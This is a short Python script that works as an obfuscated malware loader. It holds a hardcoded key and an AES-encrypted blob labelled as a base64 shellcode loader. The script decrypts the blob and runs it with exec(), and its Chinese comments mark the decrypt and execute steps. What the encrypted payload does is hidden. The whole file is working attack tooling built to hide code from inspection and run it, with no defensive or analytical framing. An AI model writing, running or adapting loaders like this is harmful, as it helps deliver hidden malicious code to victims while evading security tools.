from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad,unpad
import hashlib


# AES 解密
def aes_decode(encrypted_data: bytes, key: str ) -> bytes:
    key_bytes = hashlib.md5(key.encode()).digest()
    cipher = AES.new(key_bytes, AES.MODE_ECB)
    decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    return decrypted


key = "Xw4V4c8v"

aes_loader_base64_shellcode_loader=b'\xb6\x10\xa0\x8a\x17``\xaf"\xa6\xe05\x8d\x9bN/\x7fw\x0b\xbeW\xa5\x0b|\xcbIe\xef(\x08\xc0~gw\\+\x92\xdb\x88~((\x0f\x87\x97\xd0o\xa2\x87\xb6\xf6\x97<\xeaE\x150\x1f\xfc\xaf\xb2\x8b\xadO\xd7\xe0\xb5F\x1cV\x93\xe5\xc1n\x91^d\xa4\x85\x92\x87QMJ\x83\xf3@\xc7j\x84\x9c\xa2\x95*\xd2\xd8.\xc3\xcbz\xa9(\x813\x08\xcbt6\xba\xbf\xb7Q(\xfc\xec\x10{3>\x0ef\xc7)\x1ey\xf1\xd4Z\xff\xb3\xbe=\xaaWC\x8a\x95S\xf7\xfa\xfa\x11\xdc\xed\xd9\xc4\x80\xf3\x14\xda\\\x9a\x00&\xaf\x8e,\xa2(\x7f\xcd\xb7\xa7V"\x00\xca\xf8\xda\xe0/\xf7\xf9\x98\xc6\xec\xb3\x14L~X9\x91\x87\x1bw\x1f\xea\xe5\xb7\xd3\x12\xe2&\xd5Cg\x91m\x8b\xfeYi\xee\xb4\xe1\xe9\xf9\x14\x98"\xd5\x0c\x19y\xc7\xa6\xad\xec\x10\xeb\x86\x1dJ\xaeX\x95wQd\xfb\t\xc1\xea\xa9\xcc\xadk[\xf0[M\nL\xa6,\t\xb3Cr\x8f\xc9,J9\x04\x0e\x8fa\x9a{|\x1e\xf5\x92lM\xc3Dd\x13X\xa3\xb0dJS<<\xc3\xa9\xa7\x15\xa5\xff8\x1d.#u.\xadQa]\x9dA\xa2\xa2alT\xbd0x\x19\xad\x0f\xe1\x90=\x12JC\xca\xdc_e8\xff\xf8\x0eh\xa7\x9b\xf3\x19F0\xda\xf8\x16|\xb2\xa7\x9b\xfdn\x011 \xeefJ\x96\xcdL\x82\x86\x93\x14\x1f\x85m\x98\xa4\xda\x9e\xcf\xe9v\xba\xadZ\xc2\xdf\xfb\x0c#Q\xdaqd\x1e\xb4`\x8e\n\x80\xdc\xbf\xbc\x9ep\x97\xcd\r\x95M\x8cQ\x97\x89s\x85SrT\x84\xc2U*je\x01TP\xd9\'\x18\x1d{\\\xe3\xaaD)\n7\x8a\x1b\xde?\xe6M]F\xc9\xa3\xc2\x8c\x03p\x11\xa0\xf5\xd4\x94I\xe3\xff\x01\xba\xbf\xa5#\xfbH\x01\xb7\x93\x11\x10\xa0O9\xff(\xf0\x99\xd0\xfc\x84*J.\xcf3\x1d\xd9\xb9\n\x83\xfd-\xd0r\x18^\x19_.\xad\xfc\x086\x19\x1ck\xf1\xac\tc!\r\x00\xbc\xdc\xb0\x8e\x16\x16\xa5{Jx\x0b\xe25~6ywd\xa63\x199\x1d\x8d:\x81\xb1W\xfaO\x07~;U\x19\x9f\xfa\x99\xb6\x8b^\x00\x96t\x01n\x89\x05\x9eY|PZ\x1d\x0f\xe5\xab`\xb8L\xed\x82\xa6\xcb\x17\xb3\xe4\xaa<([\xad\xbf\x08\xe84u{\x16\xc4Uex-\xf2\n\xd3\xce>\xa1\x0f\x0c\x14\'\x9b\xa3c!\x01\x1fy\xf7\xf0\x9e\x864kj\xc6F\xe7gX\xca\td\xbe\n\xbfm\xa9h\xf6&\xae\xde\xaf\x14\x02{\xb2Q\xbf\xda\xf3\xe3\xd8\xe8\x85\x16but\xcf\xa2h\xe9v\xd4\xa4Q\x11\xce\xe4\x0f\x8a\xfa\x13\x9f\xb3\xd6\x8e\x99<\x18\xdd\xdam\xc4\xd3\xd3\xd6\xf4\x96\x8eo\r\r\xf9\xa1cE\x1c\xfeL/4|\x02\x8b\x7f\x82\xe8\x0b\xf9rE\x04\x05\xf3\xa7L\xed\xa5\t\x8b\x11\x1eNQ\x00\xb7\xd5x)\x1e^Cw\xcc\x87G"\xeb\x98\xcdt\x13\x05\xe4d\x05\x92\xe5\x85Y\x1b\xefVw\xb3>\xb1\xd5\r\xab\x96\xc8BL\xd8\xc30\xc1o\x1f\x1c\x97\xf7\x12}"\x98\xb2\xf4\xe7\x81\xfd7\r!\xa4LJ@d\x07B\x1a\x89\xa7\x12\xb7\xe8\xc5V\xc0\x8d\xe9*\x14O\x16Dl:\xac\xf6G*\x9d\xc2\xb8I\x97\xcd\xfc_\x8b\xd3S\x17y\xdbO>\x12\x84cp\xe0\xdc\xda\x96S\x8a\r*\xde\xb2\xc9U\xf5\xa3\n\xa5%\x88D^R\xbfh\x84P\xbd-n\xf51H\xe8\xd2\xf9\x86\x08\xd5\x972\xb5\x8c\x7f(\xd4-Y\x82\xee\xe0\x9a\xb4\xec\x05\x98S\x02\xbf3H\x040.ur\xd5B\xeac\xf6\xb5\x1f1\xe7t\x9d1+\xc4\x7f\xcc\xd4\x05\xbb@/G\xd7\xfaYE\xda\xb0\n\x11\x8b\xfc\xa6heTJ/\x7fP\x07\xe7\xacm\x89;\x89\xaf\xdb\xb1\x86p}\x1b\xec\x0eXD\x1a\x9dJ\xda-w\xc6\x1e@uyc\x14V\xa49:lT\xb0\xd7l\x84\xf5\x83T\xd1 \x03~\xc0\xd7/\x9b\xc75\xfc}'


# 解密
print("[*] 解密 aes_loader_base64_shellcode_loader...")
base64_shellcode_loader = aes_decode(aes_loader_base64_shellcode_loader, key)

# 执行
print("[*] 执行 base64_shellcode_loader...")

exec(base64_shellcode_loader)